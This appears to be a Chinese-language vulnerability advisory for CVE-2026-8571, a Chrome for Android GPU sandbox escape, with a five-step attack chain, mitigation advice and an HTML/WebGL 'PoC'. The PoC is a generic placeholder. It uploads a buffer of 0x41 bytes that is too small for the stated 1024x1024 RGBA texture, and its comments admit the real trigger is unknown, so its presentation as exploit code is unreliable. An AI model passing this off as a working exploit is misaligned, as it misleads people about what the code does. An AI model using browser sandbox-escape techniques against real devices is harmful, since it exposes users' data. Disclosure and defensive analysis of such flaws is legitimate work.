IPBUF安全漏洞报告
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CVE-2026-8571 CVSS 8.3 高危

CVE-2026-8571 Google Chrome Android沙箱逃逸漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-8571
漏洞类型
沙箱逃逸
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome (Android)

相关标签

沙箱逃逸Google ChromeAndroidGPURCE高危

漏洞概述

Google Chrome for Android 存在严重安全漏洞。该漏洞源于GPU组件中的策略执行不足,属于沙箱逃逸类漏洞。攻击者若已攻陷浏览器的渲染进程,可诱导用户访问包含恶意代码的特制HTML页面。利用此漏洞,攻击者能够绕过Chrome的安全沙箱机制,获取更高的系统权限。成功利用可能导致用户敏感数据泄露、系统被完全控制,对机密性、完整性和可用性造成严重影响。

技术细节

该漏洞的根源在于Google Chrome on Android的GPU进程对特定命令的处理缺乏足够的安全策略检查。Chrome采用多进程架构,网页渲染运行在低权限的沙箱环境中,而GPU进程负责图形渲染,权限相对较高。攻击链通常分为两个阶段:首先,攻击者利用浏览器渲染进程的漏洞获得代码执行能力;其次,利用本CVE描述的GPU漏洞进行沙箱逃逸。攻击者通过精心构造的HTML页面(通常涉及WebGL或Canvas API),向GPU进程发送畸形的图形指令或数据。由于策略执行不严,GPU进程可能发生内存越界写入或逻辑错误,从而允许攻击者在GPU进程上下文中执行任意代码。一旦突破沙箱,攻击者便脱离了浏览器的限制,可以直接访问Android操作系统的文件系统和用户数据,实现从网页到本地系统的横向移动。

攻击链分析

STEP 1
1. 初始入侵
攻击者首先利用Chrome渲染进程的另一个漏洞(如RCE)获得在沙箱内的执行权限。
STEP 2
2. 投递载荷
攻击者构造包含恶意WebGL或Canvas指令的特制HTML页面,并诱导目标用户访问。
STEP 3
3. 触发漏洞
浏览器解析页面时,向GPU进程发送畸形的图形数据处理请求,触发策略执行不足的漏洞。
STEP 4
4. 沙箱逃逸
利用GPU进程的漏洞,攻击者绕过沙箱限制,从渲染进程逃逸到操作系统层面。
STEP 5
5. 执行操作
获得系统级权限后,攻击者可执行任意代码、安装后门或窃取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept (PoC) for CVE-2026-8571 Description: This HTML page attempts to trigger the GPU sandbox escape by sending crafted commands via WebGL. Usage: Open in a vulnerable version of Chrome on Android (< 148.0.7778.168) --> <html> <head> <title>CVE-2026-8571 PoC</title> </head> <body> <h1>Testing GPU Sandbox Escape</h1> <canvas id="glCanvas" width="640" height="480"></canvas> <script> // Attempt to get a WebGL context to interact with the GPU process const canvas = document.getElementById('glCanvas'); const gl = canvas.getContext('webgl'); if (!gl) { console.error('WebGL not supported'); } else { console.log('WebGL context initialized'); // Craft a buffer to trigger insufficient policy enforcement // The specific size and data pattern would depend on the vulnerability details const bufferSize = 0x100000; const bufferData = new ArrayBuffer(bufferSize); const view = new Uint8Array(bufferData); // Fill with a specific pattern (e.g., 0x41) to test memory corruption for (let i = 0; i < bufferSize; i++) { view[i] = 0x41; } // Create a texture and upload the crafted data to the GPU const texture = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, texture); // texImage2D is a common vector for sending data to the GPU // This call attempts to exploit the policy enforcement issue try { gl.texImage2D( gl.TEXTURE_2D, // Target 0, // Level gl.RGBA, // Internal format 1024, // Width (Arbitrary large size) 1024, // Height 0, // Border gl.RGBA, // Format gl.UNSIGNED_BYTE, // Type view // Pixel data ); console.log('Command sent to GPU'); } catch (e) { console.error('Exception thrown:', e); } } </script> </body> </html>

影响范围

Google Chrome for Android < 148.0.7778.168

防御指南

临时缓解措施
建议用户立即检查并更新Google Chrome浏览器至最新版本。在官方补丁发布并安装完成之前,请避免点击来源不明的链接或浏览可疑网页,以降低被利用的风险。

参考链接

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